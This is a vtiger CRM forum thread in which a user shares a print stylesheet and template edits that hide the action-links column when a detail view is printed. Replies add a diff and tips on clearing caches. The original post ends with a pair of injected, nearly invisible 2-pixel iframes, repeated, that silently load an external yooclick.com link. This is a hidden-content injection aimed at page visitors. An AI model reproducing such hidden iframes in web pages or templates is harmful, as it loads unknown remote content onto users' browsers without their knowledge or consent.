Print for Detail View

Hi,
I have done simple print StyleSheet wich make all detail views printable via browser...

Example and files attached.
(If you haven't done customizations in that 3 files, just unpack attached zip..)

Description:
In DetailView.tpl & InventoryDetailView.tpl
is added just one class="noprint"
>
DetailView.tpl on line 396
InventoryDetailView.tpl on line 312
...Then we can hide "Action links" column in detail views for print.
No way, there isn't usable class or id for action links column at all. Unfortunately!...
---
in Header.tpl is (only) added on line 18 rel to include print css stylesheet...

I have one question. In Header.tpl I can see block for vtlib {if $HEADERCSS}
Can someone point me in the direction, if is this suitable for some "module" wich only and only will include that print stylesheet?... So we can have this as addon...? Or is it usable only for custom modules?...

Thanks & Regards
Lukas <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;
«13

Comments

  • 28 Comments sorted by Votes Date Added
  • nice work. thanks.
    for those who have modified the files, here is a patch with the changes:
    index&#58; smarty/templates/header&#46;tpl
    ===================================================================
    --- smarty/templates/header&#46;tpl &#40;revisión&#58; 2617&#41;
    +++ smarty/templates/header&#46;tpl &#40;copia de trabajo&#41;
    @@ -15,6 +15,7 @@
            &lt;title&gt;&#123;$current_user&#125; - &#123;$app&#46;$category&#125; - &#123;$app&#46;$module_name&#125; - &#123;$app&#46;lbl_browser_title&#125;&lt;/title&gt;
            &lt;link rel=&quot;shortcut icon&quot; href=&quot;themes/images/vtigercrm_icon&#46;ico&quot;&gt;
            &lt;style type=&quot;text/css&quot;&gt;@import url&#40;&quot;themes/&#123;$theme&#125;/style&#46;css&quot;&#41;;&lt;/style&gt;
    +  &lt;link rel=&quot;stylesheet&quot; href=&quot;themes/&#123;$theme&#125;/print&#46;css&quot; type=&quot;text/css&quot; media=&quot;print&quot; /&gt;
            &lt;!-- activityreminder customization for callback --&gt;
            &#123;literal&#125;
            &lt;style type=&quot;text/css&quot;&gt;div&#46;fixedlay1 &#123; position&#58;fixed; &#125;&lt;/style&gt;
    index&#58; smarty/templates/detailview&#46;tpl
    ===================================================================
    --- smarty/templates/detailview&#46;tpl     &#40;revisión&#58; 2617&#41;
    +++ smarty/templates/detailview&#46;tpl     &#40;copia de trabajo&#41;
    @@ -393,7 +393,7 @@
                    &lt;/table&gt;
    
                    &lt;/td&gt;
    -               &lt;td width=22% valign=top style=&quot;border-left&#58;1px dashed #cccccc;padding&#58;13px&quot;&gt;
    +               &lt;td width=22% valign=top style=&quot;border-left&#58;1px dashed #cccccc;padding&#58;13px&quot; class=&quot;noprint&quot;&gt;
    
                            &lt;!-- right side relevant info --&gt;
                            &lt;!-- action links for event &amp; todo start-by minnie --&gt;
    index&#58; smarty/templates/inventory/inventorydetailview&#46;tpl
    ===================================================================
    --- smarty/templates/inventory/inventorydetailview&#46;tpl  &#40;revisión&#58; 2617&#41;
    +++ smarty/templates/inventory/inventorydetailview&#46;tpl  &#40;copia de trabajo&#41;
    @@ -309,7 +309,7 @@
                    &lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
     &lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
                                                                            &lt;!-- inventory actions - ends --&gt;
    -                                                                       &lt;td width=22% valign=top style=&quot;padding&#58;10px;&quot;&gt;
    +                                                                       &lt;td width=22% valign=top style=&quot;padding&#58;10px;&quot; class=&quot;noprint&quot;&gt;
                                                                                    &lt;!-- right side inventoryactions --&gt;
                                                                                    &#123;include file=&quot;inventory/inventoryactions&#46;tpl&quot;&#125;
    
    

    you still have to copy the new files (print.css) into place.

    joe
    tsolucio
  • headercss is for adding your own css based on module. it is briefly described in the vtlib manual. you add this in with the addlink() function

    joe
    tsolucio
  • noprob.
    thanks for diff.

    ciao,
    ln
  • hi, i try to do this..

    i have copied the 3 files "detailview.tpl", "inventorydetailview.tpl" and "header.tpl" in my installation and the file "print.css" in the correct themes folder.

    how can i check if i'm able to print? i find no difference in the menu..
    thank you
  • hi simonemenegatti ,
    just point to your browser
    file > print ... thats all...
    or press ctrl+p

    there isn't any change in vtiger gui..

    regards,
    ln
  • ciao carloz,
    thanks.

    yes, i have that print button also <!-- s;) --><img src="{smilies_path}/icon_wink.gif" alt=";)" title="wink" /><!-- s;) -->

    i'm wondering about some condition statement something like "if detailview=true show button = true else do nothing". any advice?

    also (but this is beyond my ability) add "somewhere" <!-- s;) --><img src="{smilies_path}/icon_wink.gif" alt=";)" title="wink" /><!-- s;) --> .noprint classes for empty data cells+labels...

    regards,
    lukas
  • hi,
    for me i'm doing something wrong because if i go to print a ticket i print the entire web page and not just the ticket with the information.

    look the picture

    thank you
  • try empty tpl cache folder.
    smarty\templates_c\<deleteallfileshere>

    try empty browser cache ctrl+f5

    regards,
    l
  • ok.. now work!!

    thank you for your help.
  • good news everyone <!-- s;) --><img src="{smilies_path}/icon_wink.gif" alt=";)" title="wink" /><!-- s;) -->

    you are welcome simone.

    regards,
    ln
Sign In or Register to comment.